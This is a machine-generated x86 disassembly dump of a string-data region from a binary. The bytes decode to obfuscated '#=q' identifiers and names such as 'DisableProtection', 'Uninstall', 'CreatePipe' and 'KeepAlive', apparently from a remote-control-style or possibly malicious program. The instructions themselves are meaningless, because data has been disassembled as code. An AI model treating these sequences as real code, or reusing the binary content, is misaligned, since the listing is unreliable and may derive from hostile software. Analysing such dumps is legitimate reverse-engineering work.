41a175:	30 6c 36 65          	xor    %ch,0x65(%esi,%esi,1)
41a179:	6c                   	insb   (%dx),%es:(%edi)
41a17a:	4f                   	dec    %edi
41a17b:	38 79 6e             	cmp    %bh,0x6e(%ecx)
41a17e:	24 68                	and    $0x68,%al
41a180:	49                   	dec    %ecx
41a181:	59                   	pop    %ecx
41a182:	55                   	push   %ebp
41a183:	4c                   	dec    %esp
41a184:	36 51                	ss push %ecx
41a186:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41a18b:	71 4b                	jno    0x41a1d8
41a18d:	24 37                	and    $0x37,%al
41a18f:	30 32                	xor    %dh,(%edx)
41a191:	6e                   	outsb  %ds:(%esi),(%dx)
41a192:	6b 7a 51 34          	imul   $0x34,0x51(%edx),%edi
41a196:	72 51                	jb     0x41a1e9
41a198:	30 6c 4a 4c          	xor    %ch,0x4c(%edx,%ecx,2)
41a19c:	51                   	push   %ecx
41a19d:	5a                   	pop    %edx
41a19e:	32 7a 61             	xor    0x61(%edx),%bh
41a1a1:	77 3d                	ja     0x41a1e0
41a1a3:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41a1a8:	4d                   	dec    %ebp
41a1a9:	4d                   	dec    %ebp
41a1aa:	6b 68 42 73          	imul   $0x73,0x42(%eax),%ebp
41a1ae:	5f                   	pop    %edi
41a1af:	38 76 74             	cmp    %dh,0x74(%esi)
41a1b2:	66 34 39             	data16 xor $0x39,%al
41a1b5:	38 39                	cmp    %bh,(%ecx)
41a1b7:	71 43                	jno    0x41a1fc
41a1b9:	4d                   	dec    %ebp
41a1ba:	36 54                	ss push %esp
41a1bc:	55                   	push   %ebp
41a1bd:	77 3d                	ja     0x41a1fc
41a1bf:	3d 00 52 65 73       	cmp    $0x73655200,%eax
41a1c4:	74 61                	je     0x41a227
41a1c6:	72 74                	jb     0x41a23c
41a1c8:	00 53 68             	add    %dl,0x68(%ebx)
41a1cb:	75 74                	jne    0x41a241
41a1cd:	64 6f                	outsl  %fs:(%esi),(%dx)
41a1cf:	77 6e                	ja     0x41a23f
41a1d1:	00 44 69 73          	add    %al,0x73(%ecx,%ebp,2)
41a1d5:	61                   	popa
41a1d6:	62 6c 65 50          	bound  %ebp,0x50(%ebp,%eiz,2)
41a1da:	72 6f                	jb     0x41a24b
41a1dc:	74 65                	je     0x41a243
41a1de:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
41a1e2:	6e                   	outsb  %ds:(%esi),(%dx)
41a1e3:	00 52 65             	add    %dl,0x65(%edx)
41a1e6:	73 74                	jae    0x41a25c
41a1e8:	6f                   	outsl  %ds:(%esi),(%dx)
41a1e9:	72 65                	jb     0x41a250
41a1eb:	50                   	push   %eax
41a1ec:	72 6f                	jb     0x41a25d
41a1ee:	74 65                	je     0x41a255
41a1f0:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
41a1f4:	6e                   	outsb  %ds:(%esi),(%dx)
41a1f5:	00 55 6e             	add    %dl,0x6e(%ebp)
41a1f8:	69 6e 73 74 61 6c 6c 	imul   $0x6c6c6174,0x73(%esi),%ebp
41a1ff:	00 49 6e             	add    %cl,0x6e(%ecx)
41a202:	69 74 69 61 6c 69 7a 	imul   $0x657a696c,0x61(%ecx,%ebp,2),%esi
41a209:	65
41a20a:	00 43 6f             	add    %al,0x6f(%ebx)
41a20d:	6e                   	outsb  %ds:(%esi),(%dx)
41a20e:	6e                   	outsb  %ds:(%esi),(%dx)
41a20f:	65 63 74 44 6f       	arpl   %esi,%gs:0x6f(%esp,%eax,2)
41a214:	6e                   	outsb  %ds:(%esi),(%dx)
41a215:	65 00 43 72          	add    %al,%gs:0x72(%ebx)
41a219:	65 61                	gs popa
41a21b:	74 65                	je     0x41a282
41a21d:	50                   	push   %eax
41a21e:	69 70 65 00 50 69 70 	imul   $0x70695000,0x65(%eax),%esi
41a225:	65 43                	gs inc %ebx
41a227:	72 65                	jb     0x41a28e
41a229:	61                   	popa
41a22a:	74 65                	je     0x41a291
41a22c:	64 00 54 72 61       	add    %dl,%fs:0x61(%edx,%esi,2)
41a231:	6e                   	outsb  %ds:(%esi),(%dx)
41a232:	73 6d                	jae    0x41a2a1
41a234:	69 73 73 69 6f 6e 00 	imul   $0x6e6f69,0x73(%ebx),%esi
41a23b:	55                   	push   %ebp
41a23c:	6e                   	outsb  %ds:(%esi),(%dx)
41a23d:	68 61 6e 64 6c       	push   $0x6c646e61
41a242:	65 64 45             	gs fs inc %ebp
41a245:	78 63                	js     0x41a2aa
41a247:	65 70 74             	gs jo  0x41a2be
41a24a:	69 6f 6e 00 4b 65 65 	imul   $0x65654b00,0x6e(%edi),%ebp
41a251:	70 41                	jo     0x41a294
41a253:	6c                   	insb   (%dx),%es:(%edi)
41a254:	69 76 65 00 45 78 63 	imul   $0x63784500,0x65(%esi),%esi
41a25b:	65 70 74             	gs jo  0x41a2d2
41a25e:	69 6f 6e 48 61 73 68 	imul   $0x68736148,0x6e(%edi),%ebp
41a265:	00 45 78             	add    %al,0x78(%ebp)
41a268:	63 65 70             	arpl   %esp,0x70(%ebp)
41a26b:	74 69                	je     0x41a2d6
41a26d:	6f                   	outsl  %ds:(%esi),(%dx)
41a26e:	6e                   	outsb  %ds:(%esi),(%dx)
41a26f:	44                   	inc    %esp
41a270:	61                   	popa
41a271:	74 61                	je     0x41a2d4
41a273:	00 23                	add    %ah,(%ebx)
41a275:	3d 71 6c 56 33       	cmp    $0x33566c71,%eax
41a27a:	46                   	inc    %esi
41a27b:	62 69 46             	bound  %ebp,0x46(%ecx)
41a27e:	30 30                	xor    %dh,(%eax)
41a280:	72 35                	jb     0x41a2b7
41a282:	56                   	push   %esi
41a283:	72 70                	jb     0x41a2f5
41a285:	35 6e 71 6f 6e       	xor    $0x6e6f716e,%eax
41a28a:	63 79 78             	arpl   %edi,0x78(%ecx)
41a28d:	44                   	inc    %esp
41a28e:	48                   	dec    %eax
41a28f:	5a                   	pop    %edx
41a290:	4d                   	dec    %ebp
41a291:	75 48                	jne    0x41a2db
41a293:	42                   	inc    %edx
41a294:	37                   	aaa
41a295:	79 75                	jns    0x41a30c
41a297:	4a                   	dec    %edx
41a298:	61                   	popa
41a299:	37                   	aaa
41a29a:	78 53                	js     0x41a2ef
41a29c:	37                   	aaa
41a29d:	37                   	aaa
41a29e:	4b                   	dec    %ebx
41a29f:	33 42 51             	xor    0x51(%edx),%eax
41a2a2:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41a2a7:	33 43 34             	xor    0x34(%ebx),%eax
41a2aa:	49                   	dec    %ecx
41a2ab:	6f                   	outsl  %ds:(%esi),(%dx)
41a2ac:	6c                   	insb   (%dx),%es:(%edi)
41a2ad:	31 6e 4d             	xor    %ebp,0x4d(%esi)
41a2b0:	6c                   	insb   (%dx),%es:(%edi)
41a2b1:	35 41 46 4c 57       	xor    $0x574c4641,%eax
41a2b6:	4e                   	dec    %esi
41a2b7:	64 45                	fs inc %ebp
41a2b9:	36 6e                	outsb  %ss:(%esi),(%dx)
41a2bb:	78 42                	js     0x41a2ff
41a2bd:	32 5f 6b             	xor    0x6b(%edi),%bl
41a2c0:	47                   	inc    %edi
41a2c1:	30 75 58             	xor    %dh,0x58(%ebp)
41a2c4:	7a 78                	jp     0x41a33e
41a2c6:	33 35 76 76 73 6e    	xor    0x6e737676,%esi
41a2cc:	24 67                	and    $0x67,%al
41a2ce:	51                   	push   %ecx
41a2cf:	7a 74                	jp     0x41a345
41a2d1:	38 3d 00 23 3d 71    	cmp    %bh,0x713d2300
41a2d7:	32 64 58 64          	xor    0x64(%eax,%ebx,2),%ah
41a2db:	47                   	inc    %edi
41a2dc:	52                   	push   %edx
41a2dd:	55                   	push   %ebp
41a2de:	5f                   	pop    %edi
41a2df:	68 36 32 59 56       	push   $0x56593236
41a2e4:	49                   	dec    %ecx
41a2e5:	55                   	push   %ebp
41a2e6:	68 67 58 42 51       	push   $0x51425867
41a2eb:	4a                   	dec    %edx
41a2ec:	7a 45                	jp     0x41a333
41a2ee:	6e                   	outsb  %ds:(%esi),(%dx)
41a2ef:	72 61                	jb     0x41a352
41a2f1:	6c                   	insb   (%dx),%es:(%edi)
41a2f2:	70 58                	jo     0x41a34c
41a2f4:	4e                   	dec    %esi
41a2f5:	76 70                	jbe    0x41a367
41a2f7:	30 31                	xor    %dh,(%ecx)
41a2f9:	37                   	aaa
41a2fa:	52                   	push   %edx
41a2fb:	51                   	push   %ecx
41a2fc:	73 31                	jae    0x41a32f
41a2fe:	39 6a 6a             	cmp    %ebp,0x6a(%edx)
41a301:	6f                   	outsl  %ds:(%esi),(%dx)
41a302:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41a307:	50                   	push   %eax
41a308:	5f                   	pop    %edi
41a309:	6e                   	outsb  %ds:(%esi),(%dx)
41a30a:	75 63                	jne    0x41a36f
41a30c:	70 35                	jo     0x41a343
41a30e:	78 64                	js     0x41a374
41a310:	46                   	inc    %esi
41a311:	6a 65                	push   $0x65
41a313:	41                   	inc    %ecx
41a314:	56                   	push   %esi
41a315:	57                   	push   %edi
41a316:	52                   	push   %edx
41a317:	66 5a                	pop    %dx
41a319:	32 58 66             	xor    0x66(%eax),%bl
41a31c:	6d                   	insl   (%dx),%es:(%edi)
41a31d:	76 59                	jbe    0x41a378
41a31f:	68 6b 77 57 62       	push   $0x6257776b
41a324:	65 65 75 33          	gs gs jne 0x41a35b
41a328:	79 32                	jns    0x41a35c
41a32a:	66 6b 78 76 53       	imul   $0x53,0x76(%eax),%di
41a32f:	30 79 41             	xor    %bh,0x41(%ecx)
41a332:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41a337:	65 58                	gs pop %eax
41a339:	49                   	dec    %ecx
41a33a:	32 43 68             	xor    0x68(%ebx),%al
41a33d:	50                   	push   %eax
41a33e:	71 31                	jno    0x41a371
41a340:	54                   	push   %esp
41a341:	61                   	popa
41a342:	4b                   	dec    %ebx
41a343:	61                   	popa
41a344:	59                   	pop    %ecx
41a345:	38 63 54             	cmp    %ah,0x54(%ebx)
41a348:	77 57                	ja     0x41a3a1
41a34a:	65 34 75             	gs xor $0x75,%al
41a34d:	57                   	push   %edi
41a34e:	41                   	inc    %ecx
41a34f:	79 58                	jns    0x41a3a9
41a351:	53                   	push   %ebx
41a352:	47                   	inc    %edi
41a353:	55                   	push   %ebp
41a354:	71 41                	jno    0x41a397
41a356:	57                   	push   %edi
41a357:	78 4d                	js     0x41a3a6
41a359:	32 31                	xor    (%ecx),%dh
41a35b:	75 48                	jne    0x41a3a5
41a35d:	24 36                	and    $0x36,%al
41a35f:	67 59                	addr16 pop %ecx
41a361:	63 3d 00 23 3d 71    	arpl   %edi,0x713d2300
41a367:	72 57                	jb     0x41a3c0
41a369:	4b                   	dec    %ebx
41a36a:	6c                   	insb   (%dx),%es:(%edi)
41a36b:	48                   	dec    %eax
41a36c:	4b                   	dec    %ebx
41a36d:	43                   	inc    %ebx
41a36e:	78 54                	js     0x41a3c4
41a370:	4b                   	dec    %ebx
41a371:	75 65                	jne    0x41a3d8
41a373:	6f                   	outsl  %ds:(%esi),(%dx)
41a374:	6c                   	insb   (%dx),%es:(%edi)
41a375:	4f                   	dec    %edi
41a376:	52                   	push   %edx
41a377:	34 6f                	xor    $0x6f,%al
41a379:	68 63 37 44 5f       	push   $0x5f443763
41a37e:	63 42 68             	arpl   %eax,0x68(%edx)
41a381:	6a 4c                	push   $0x4c
41a383:	76 31                	jbe    0x41a3b6
41a385:	7a 4e                	jp     0x41a3d5
41a387:	49                   	dec    %ecx
41a388:	63 66 74             	arpl   %esp,0x74(%esi)
41a38b:	67 63 69 67          	arpl   %ebp,0x67(%bx,%di)
41a38f:	61                   	popa
41a390:	47                   	inc    %edi
41a391:	55                   	push   %ebp
41a392:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41a397:	33 64 39 43          	xor    0x43(%ecx,%edi,1),%esp
41a39b:	71 46                	jno    0x41a3e3
41a39d:	50                   	push   %eax
41a39e:	70 50                	jo     0x41a3f0
41a3a0:	79 24                	jns    0x41a3c6
41a3a2:	72 42                	jb     0x41a3e6
41a3a4:	68 5a 76 79 46       	push   $0x4679765a
41a3a9:	49                   	dec    %ecx
41a3aa:	52                   	push   %edx
41a3ab:	73 5f                	jae    0x41a40c
41a3ad:	45                   	inc    %ebp
41a3ae:	6c                   	insb   (%dx),%es:(%edi)
41a3af:	41                   	inc    %ecx
41a3b0:	46                   	inc    %esi
41a3b1:	4d                   	dec    %ebp
41a3b2:	48                   	dec    %eax
41a3b3:	54                   	push   %esp
41a3b4:	6f                   	outsl  %ds:(%esi),(%dx)
41a3b5:	34 5a                	xor    $0x5a,%al
41a3b7:	5a                   	pop    %edx
41a3b8:	75 45                	jne    0x41a3ff
41a3ba:	5f                   	pop    %edi
41a3bb:	67 24 4e             	addr16 and $0x4e,%al
41a3be:	66 72 6e             	data16 jb 0x41a42f
41a3c1:	6b 3d 00 23 3d 71 65 	imul   $0x65,0x713d2300,%edi
41a3c8:	39 70 5f             	cmp    %esi,0x5f(%eax)
41a3cb:	50                   	push   %eax
41a3cc:	67 4f                	addr16 dec %edi
41a3ce:	43                   	inc    %ebx
41a3cf:	69 6f 75 59 57 61 68 	imul   $0x68615759,0x75(%edi),%ebp
41a3d6:	4f                   	dec    %edi
41a3d7:	53                   	push   %ebx
41a3d8:	44                   	inc    %esp
41a3d9:	4b                   	dec    %ebx
41a3da:	74 68                	je     0x41a444
41a3dc:	30 30                	xor    %dh,(%eax)
41a3de:	64 72 39             	fs jb  0x41a41a
41a3e1:	43                   	inc    %ebx
41a3e2:	64 73 54             	fs jae 0x41a439
41a3e5:	62 31                	bound  %esi,(%ecx)
41a3e7:	52                   	push   %edx
41a3e8:	33 44 59 67          	xor    0x67(%ecx,%ebx,2),%eax
41a3ec:	43                   	inc    %ebx
41a3ed:	65 4c                	gs dec %esp
41a3ef:	55                   	push   %ebp
41a3f0:	42                   	inc    %edx
41a3f1:	77 3d                	ja     0x41a430
41a3f3:	00 23                	add    %ah,(%ebx)
41a3f5:	3d 71 41 42 4e       	cmp    $0x4e424171,%eax
41a3fa:	6c                   	insb   (%dx),%es:(%edi)
41a3fb:	47                   	inc    %edi
41a3fc:	46                   	inc    %esi
41a3fd:	44                   	inc    %esp
41a3fe:	63 37                	arpl   %esi,(%edi)
41a400:	6e                   	outsb  %ds:(%esi),(%dx)
41a401:	4f                   	dec    %edi
41a402:	67 5f                	addr16 pop %edi
41a404:	43                   	inc    %ebx
41a405:	33 39                	xor    (%ecx),%edi
41a407:	73 77                	jae    0x41a480
41a409:	41                   	inc    %ecx
41a40a:	63 4c 41 3d          	arpl   %ecx,0x3d(%ecx,%eax,2)
41a40e:	3d 00 23 3d 71       	cmp    $0x713d2300,%eax
41a413:	69 43 54 43 67 4a 51 	imul   $0x514a6743,0x54(%ebx),%eax
41a41a:	6b 79 48 5f          	imul   $0x5f,0x48(%ecx),%edi
41a41e:	4b                   	dec    %ebx
41a41f:	7a 71                	jp     0x41a492
41a421:	24 46                	and    $0x46,%al
41a423:	54                   	push   %esp
41a424:	34 33                	xor    $0x33,%al
41a426:	47                   	inc    %edi
41a427:	34 51                	xor    $0x51,%al
41a429:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41a42e:	71 63                	jno    0x41a493
41a430:	79 56                	jns    0x41a488
41a432:	6b 74 66 59 78       	imul   $0x78,0x59(%esi,%eiz,2),%esi
41a437:	63 35 31 49 31 58    	arpl   %esi,0x58314931
41a43d:	6f                   	outsl  %ds:(%esi),(%dx)
41a43e:	70 6e                	jo     0x41a4ae
41a440:	77 47                	ja     0x41a489
41a442:	4e                   	dec    %esi
41a443:	6a 51                	push   $0x51
41a445:	3d 3d 00 23 3d       	cmp    $0x3d23003d,%eax
41a44a:	71 33                	jno    0x41a47f
41a44c:	66 7a 5a             	data16 jp 0x41a4a9
41a44f:	70 55                	jo     0x41a4a6
41a451:	37                   	aaa
41a452:	50                   	push   %eax
41a453:	4f                   	dec    %edi
41a454:	69 39 79 59 4b 75    	imul   $0x754b5979,(%ecx),%edi
41a45a:	61                   	popa
41a45b:	37                   	aaa
41a45c:	36 32 4b 69          	xor    %ss:0x69(%ebx),%cl
41a460:	6d                   	insl   (%dx),%es:(%edi)
41a461:	45                   	inc    %ebp
41a462:	30 74 58 44          	xor    %dh,0x44(%eax,%ebx,2)
41a466:	56                   	push   %esi
41a467:	32 56 52             	xor    0x52(%esi),%dl
41a46a:	72 6a                	jb     0x41a4d6
41a46c:	79 4a                	jns    0x41a4b8
41a46e:	63 50 75             	arpl   %edx,0x75(%eax)
41a471:	77 58                	ja     0x41a4cb